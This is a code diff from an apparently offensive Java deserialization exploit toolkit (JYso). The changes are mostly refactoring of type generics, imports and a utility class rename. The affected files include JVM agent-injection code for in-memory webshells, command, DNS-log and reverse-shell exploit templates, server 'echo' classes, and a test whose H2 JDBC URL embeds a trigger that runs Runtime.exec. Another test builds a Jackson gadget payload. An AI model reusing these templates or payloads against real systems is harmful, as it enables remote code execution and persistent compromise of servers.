Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java
+5 -5
View File
@@ -31,7 +31,7 @@ public class AgentNoFileForWindows {
if (unsafe == null) {
try {
Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
Class<?> gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor");
java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
@@ -41,7 +41,7 @@ public class AgentNoFileForWindows {
if (unsafe == null) {
try {
Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
Class<?> nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess");
java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
@@ -62,7 +62,7 @@ public class AgentNoFileForWindows {
}
public static void redefineClasses(String className, byte[] classBody) throws Exception {
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Class<?> cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF");
field1.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
@@ -81,7 +81,7 @@ public class AgentNoFileForWindows {
buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength));
classBody[7] = 0x32;
Class windowsVirtualMachine;
Class<?> windowsVirtualMachine;
System.loadLibrary("attach");
try {
windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine");
@@ -90,7 +90,7 @@ public class AgentNoFileForWindows {
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
windowsVirtualMachine = (Class<?>) defineClass.invoke(classLoader, bytes, 0, bytes.length);
}
Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class);
src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java
+1
View File
@@ -21,6 +21,7 @@ public class LinMenshell {
private static final int STT_GNU_IFUNC = 10;
public static String className;
public static byte[] classBody;
private LinMenshell() throws Exception {
Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine");
src/main/java/com/qi4l/JYso/template/CommandTemplate.java
+2 -2
View File
@@ -1,7 +1,7 @@
package com.qi4l.JYso.template;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
@@ -13,7 +13,7 @@ public class CommandTemplate implements Template {
public CommandTemplate(String cmd) {
this.cmd = cmd;
this.className = "Exploit" + Util.getRandomString();
this.className = "Exploit" + Utils.getRandomString();
generate();
}
src/main/java/com/qi4l/JYso/template/DnslogTemplate.java
+2 -2
View File
@@ -1,7 +1,7 @@
package com.qi4l.JYso.template;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
@@ -14,7 +14,7 @@ public class DnslogTemplate implements Template {
public DnslogTemplate(String dnslog) {
this.dnslog = dnslog;
this.className = "Exploit" + Util.getRandomString();
this.className = "Exploit" + Utils.getRandomString();
generate();
}
src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java
+2 -2
View File
@@ -1,7 +1,7 @@
package com.qi4l.JYso.template;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import org.objectweb.asm.*;
import static org.objectweb.asm.Opcodes.*;
@@ -20,7 +20,7 @@ public class ReverseShellTemplate implements Template {
public ReverseShellTemplate(String ip, int port) {
this.ip = ip;
this.port = port;
this.className = "Exploit" + Util.getRandomString();
this.className = "Exploit" + Utils.getRandomString();
generate();
}
src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java
-4
View File
@@ -1,9 +1,5 @@
package com.qi4l.JYso.template.echoConstructor;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
// 回显类在jdk17下的改造，解决JDK17下只能加载一次的问题
public class CTomcatEcho {
public static String CMD_HEADER;
src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java
+1 -1
View File
@@ -2,7 +2,7 @@ package com.qi4l.JYso.template.echoConstructor;
import java.io.OutputStream;
import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
public class CwebsphereEcho {
src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java
+1 -1
View File
@@ -22,7 +22,7 @@ public class AllEcho {
}
private static void F(Object start, int depth) {
Class n = start.getClass();
Class<?> n = start.getClass();
do {
java.lang.reflect.Field f = null;
int l = n.getDeclaredFields().length;
src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java
+2 -1
View File
@@ -2,7 +2,8 @@ package com.qi4l.JYso.template.echoStatic;
import java.io.OutputStream;
import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
public class websphereEcho {
src/test/java/Main.java
+1 -2
View File
@@ -1,10 +1,9 @@
public class Main {
public static void main(String[] args) {
String cmd = "calc";
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'";
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '" + javascript + "'";
//System.out.println(JDBC_URL);
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
src/test/java/com/example/demo/demos/web/Test.java
+2 -2
View File
@@ -8,9 +8,9 @@ import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson4");
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("jackson3");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("dir"); //EX-MS-SpringInterceptorMS-gz
Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");